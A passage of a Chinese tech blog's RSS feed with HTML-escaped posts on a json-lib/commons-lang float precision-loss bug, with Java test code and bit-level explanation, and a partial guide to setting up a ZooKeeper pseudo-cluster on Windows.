&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;改成&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;from&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;winrandom&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;再次运行ok.非常简单&lt;/p&gt;</description>
    </item>
    <item>
      <title>json-lib反序列化精度丢失问题</title>
      <link>http://blog.leaver.me/2015/11/25/json-lib%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%B2%BE%E5%BA%A6%E4%B8%A2%E5%A4%B1%E9%97%AE%E9%A2%98/</link>
      <pubDate>Wed, 25 Nov 2015 21:30:58 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/11/25/json-lib%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%B2%BE%E5%BA%A6%E4%B8%A2%E5%A4%B1%E9%97%AE%E9%A2%98/</guid>
      <description>&lt;p&gt;最近在工作中,遇到一个问题,项目中某处使用了json-lib的2.4-jdk15版本.问题最终简化为&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;double amount = 6264583.33;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;String jsonString = &amp;#34;{\&amp;#34;pi\&amp;#34;:&amp;#34; + amount + &amp;#34;}&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;JSONObject jsonObject = JSONObject.fromObject(jsonString);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;转换前:&amp;#34; + jsonString);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;转换后:&amp;#34; + jsonObject);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个值输出的将会是6264583.5 这个值.这个问题.先google一下,很快赵到了
&lt;a href=&#34;http://sourceforge.net/p/json-lib/bugs/116/&#34;&gt;http://sourceforge.net/p/json-lib/bugs/116/&lt;/a&gt; 于是,大概问题知道了.是json-lib的一个bug,但是这个bug怎么来的呢.结合这个bug下面的评论和debug代码,先以pi这个例子,很快走到了.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;json_create&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/json_create.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;可以看到json-lib走到了apache common-lang(2.5这个版本) 的&lt;code&gt;NumberUtils.createNumber&lt;/code&gt;处,此时String的还是对的.
继续单步,来到这个方法里面&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;json_mant_dec&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/json_mant_dec.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;可以看到这里小数部分,整数部分也都还是对的.继续向下走.我擦.画风不太对.居然采用了先尝试float,发现没问题.然后就继续尝试double,我擦.直接数据就丢失了呀..&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;json_float&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/json_float.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;json_float_fluent&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/json_float_fluent.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;好吧..那么现在问题就便成了更简单的一个问题.&lt;/p&gt;
&lt;p&gt;使用NumberUtils.createNumber 的bug.在bug issue里,有人提到.这个bug,apache官方已知.好的.
&lt;a href=&#34;https://issues.apache.org/jira/browse/LANG-693&#34;&gt;https://issues.apache.org/jira/browse/LANG-693&lt;/a&gt;
然后在这里有官方的一次修复,修复记录在这里.3.2版本已经修复.
&lt;a href=&#34;http://svn.apache.org/viewvc?view=revision&amp;amp;revision=1484263&#34;&gt;http://svn.apache.org/viewvc?view=revision&amp;amp;revision=1484263&lt;/a&gt;
可以看到是对小数部分的长度进行了判断.如果小于7位,就用float转换,如果大于7,小于16,就用double,如果还大,就用BigDecimal.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;json_common_lang3_fix&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/json_common_lang3_fix.jpg&#34;&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;n = org.apache.commons.lang3.math.NumberUtils.createNumber(&amp;#34;3.14159265358&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;lang3_createNumber_3.14159265358----&amp;gt;&amp;#34; + n + &amp;#34;-&amp;gt;精度正常&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;于是我继续debug,看common-lang3的修复情况,好像确实是修复了.但是对于我出现的问题1.6264583.33 这个数字,还是出现了精度丢失,因为这里小数部分小于7位,所以尝试使用float转换,直接丢失精度&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;lang3_float_loss&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/lang3_float_loss.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;修复不完善..&lt;/p&gt;
&lt;p&gt;于是提个bug :https://issues.apache.org/jira/browse/LANG-1187 等回复.&lt;/p&gt;
&lt;p&gt;继续.公司内部一般使用fastjson,那么如果我使用fastjson,有问题吗? 发现没有问题.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Object o = com.alibaba.fastjson.JSONObject.parse(&amp;#34;3.14159265358&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;fastjson_createNumber_3.14159265358----&amp;gt;&amp;#34; + o + &amp;#34;-&amp;gt;精度正常&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;o = com.alibaba.fastjson.JSONObject.parse(&amp;#34;6264583.33&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;fastjson_createNumber_6264583.33----&amp;gt;&amp;#34; + o + &amp;#34;-&amp;gt;精度正常&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&#34;fastjson_decimal&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/fastjson_decimal.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;可以看到,这里做转换的时候传递了一个是否是bigdecimal的标识.而这个标识默认是开启的.而且即使不开启..&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;fastjson_first_decimal&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/fastjson_first_decimal.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;最坏的情况也是个double.所以数据不会丢失.&lt;/p&gt;
&lt;p&gt;再顺便说一下,double的6264583.33 为什么转换到float会精度丢失,先看一下浮点数在计算机中怎么表示的
&lt;img alt=&#34;double_present&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/double_present.jpg&#34;&gt;
找到一张图,这是double的标识和浮点数的计算.&lt;/p&gt;
&lt;p&gt;而浮点数则是32位,1位符号位,8位幂,23位尾数,看测试代码&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//double标识测试
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;double d = 6264583.33d;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;long l = Double.doubleToLongBits(d);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(Long.toBinaryString(l));
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//float想要表示这个数字
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;float f = 6264583.33f;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;int value = Float.floatToIntBits(f);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(Integer.toBinaryString(value));
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//double表示这个值
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;d = 6264583.5d;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;l = Double.doubleToLongBits(d);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(Long.toBinaryString(l));
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;输出结果(做一下分割对齐)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;1 00000101010    111111001011100000111010101000111101011100001010010
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;1    00101010    1111110010111000001111
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;1 00000101010    111111001011100000111100000000000000000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注意看,第一行是6264583.33的double表示.而同样想要用float表示这个数字,发现幂,符号位,都是对的.但是因为尾数只有23位,所以四舍五入,将完整double的后几位进位1,变成了这个二进制表示法,这时候已经不准确了,
而这个数字呢.看第三行,会发现实际上是6264583.5的精确值表示.尾数位0都是可以省略的,因为按照公式计算也没啥作用.&lt;/p&gt;
&lt;p&gt;如有问题,欢迎评论讨论.&lt;/p&gt;
&lt;p&gt;附录:
完整的测试代码&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;public class App {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public static void main(String[] args) {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//http://sourceforge.net/p/json-lib/bugs/116/
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//2.4版本有问题
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;double pi = 3.14159265358;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;String jsonString = &amp;#34;{\&amp;#34;pi\&amp;#34;:&amp;#34; + pi + &amp;#34;}&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;JSONObject jsonObject = JSONObject.fromObject(jsonString);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;转换前:&amp;#34; + jsonString);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;转换后:&amp;#34; + jsonObject);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;double amount = 6264583.33;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;jsonString = &amp;#34;{\&amp;#34;pi\&amp;#34;:&amp;#34; + amount + &amp;#34;}&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;jsonObject = JSONObject.fromObject(jsonString);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;转换前:&amp;#34; + jsonString);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;转换后:&amp;#34; + jsonObject);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//测试2.4版本引入的lang,这里面
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Number n = org.apache.commons.lang.math.NumberUtils.createNumber(&amp;#34;3.14159265358&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;lang2_createNumber_3.14159265358----&amp;gt;&amp;#34; + n + &amp;#34;-&amp;gt;精度丢失&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;n = org.apache.commons.lang.math.NumberUtils.createNumber(&amp;#34;6264583.33&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;lang2_createNumber_6264583.33----&amp;gt;&amp;#34; + n + &amp;#34;-&amp;gt;精度丢失&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//测试3.4版本,里面是根据小数部分的长度,选择是否使用float还是double,当小数部分大于7的时候,就会使用double
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;n = org.apache.commons.lang3.math.NumberUtils.createNumber(&amp;#34;3.14159265358&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;lang3_createNumber_3.14159265358----&amp;gt;&amp;#34; + n + &amp;#34;-&amp;gt;精度正常&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//这种情况就会有问题,虽然小数部分是33,两位,但是实际上是个浮点数.所以还会丢失精度
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;n = org.apache.commons.lang3.math.NumberUtils.createNumber(&amp;#34;6264583.33&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;lang3_createNumber_6264583.33----&amp;gt;&amp;#34; + n + &amp;#34;-&amp;gt;精度丢失&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//测试fastjson
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Object o = com.alibaba.fastjson.JSONObject.parse(&amp;#34;3.14159265358&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;fastjson_createNumber_3.14159265358----&amp;gt;&amp;#34; + o + &amp;#34;-&amp;gt;精度正常&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;o = com.alibaba.fastjson.JSONObject.parse(&amp;#34;6264583.33&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;fastjson_createNumber_6264583.33----&amp;gt;&amp;#34; + o + &amp;#34;-&amp;gt;精度正常&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//double标识测试
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;double d = 6264583.33d;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;long l = Double.doubleToLongBits(d);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(Long.toBinaryString(l));
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//float想要表示这个数字
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;float f = 6264583.33f;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;int value = Float.floatToIntBits(f);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(Integer.toBinaryString(value));
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//double表示这个值
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;d = 6264583.5d;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;l = Double.doubleToLongBits(d);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(Long.toBinaryString(l));
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;     }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    <item>
      <title>zookeeper伪集群部署</title>
      <link>http://blog.leaver.me/2015/11/22/zookeeper%E4%BC%AA%E9%9B%86%E7%BE%A4%E9%83%A8%E7%BD%B2/</link>
      <pubDate>Sun, 22 Nov 2015 16:06:43 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/11/22/zookeeper%E4%BC%AA%E9%9B%86%E7%BE%A4%E9%83%A8%E7%BD%B2/</guid>
      <description>&lt;p&gt;zookeeper是用来管理分布式环境的系统主要用来服务发现,配置管理,同步.大致原理是zookeeper 自身集群的每个节点都维护这一个目录树,内容相同,每个节点的数据一致性由zookeeper自身的算法来解决.下篇尝试.zookeeper本篇主要说明如果部署zookeeper的分布式环境.&lt;/p&gt;
&lt;h2 id=&#34;下载&#34;&gt;下载&lt;/h2&gt;
&lt;p&gt;zookeeper由apache在管理,下载地址:&lt;a href=&#34;http://www.apache.org/dyn/closer.cgi/zookeeper/&#34;&gt;http://www.apache.org/dyn/closer.cgi/zookeeper/&lt;/a&gt;.下载完成后,随便放个目录好了..&lt;/p&gt;
&lt;h2 id=&#34;配置&#34;&gt;配置&lt;/h2&gt;
&lt;p&gt;本次创建3个节点.
1 . 存储目录准备
首先给每个伪节点创建一个目录.用来存储每个节点保存的目录信息.真实的分布式环境将对应在不同的机器上.
这里我在D:\zookeeper,创建三个目录,分别是zk1,zk2,zk3.
然后为每个集群编写一个myid文件,标识集群id&lt;/p&gt;
&lt;p&gt;2 . 启动配置文件
下载完成后,在conf目录会看到由一个zoo_sample.cfg实例配置文件,我们可以以这个为模板.来为分布式环境的每个zookeeper节点配置一个节点的数据目录,端口.其他节点的信息等.&lt;/p&gt;
&lt;p&gt;我们在conf目录例创建三个配置文件,分别为zk1.cfg,zk2.cfg,zk3.cfg;
里面的值
zk1.cfg&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;tickTime=2000 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;initLimit=10 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;syncLimit=5 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dataDir=D:/zookeeper/zk1 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;clientPort=2181 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.1=127.0.0.1:2888:3888 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.2=127.0.0.1:2889:3889 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.3=127.0.0.1:2890:3890
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;zk2.cfg&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;tickTime=2000 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;initLimit=10 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;syncLimit=5 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dataDir=D:/zookeeper/zk2 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;clientPort=2182 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.1=127.0.0.1:2888:3888 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.2=127.0.0.1:2889:3889 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.3=127.0.0.1:2890:3890
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;zk1.cfg&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;tickTime=2000 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;initLimit=10 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;syncLimit=5 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dataDir=D:/zookeeper/zk3
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;clientPort=2183 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.1=127.0.0.1:2888:3888 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.2=127.0.0.1:2889:3889 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.3=127.0.0.1:2890:3890
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里的server.1.2.3这就是每个机器对应的myid的值.
server.1=127.0.0.1:2888:3888解释一下这条配置.前面的2888是各个节点用来互相交流.选取leader的端口.后面这个端口,3888是各个节点用来和leader沟通的节点.而clientPort 是开放出去,等待客户端连接的端口.&lt;/p&gt;
&lt;h2 id=&#34;启动&#34;&gt;启动&lt;/h2&gt;
&lt;p&gt;分别启动三个实例,在zookeeper的安装目录下.进如bin目录,复制三个zkServer.cmd 文件,要是linux就不用这么麻烦了..&lt;/p&gt;
&lt;p&gt;分别加上一行&lt;/p&gt;
&lt;p&gt;set ZOOCFG=../conf/zk1.cfg&lt;/p&gt;
&lt;p&gt;最终这个文件像这样&lt;/p&gt;
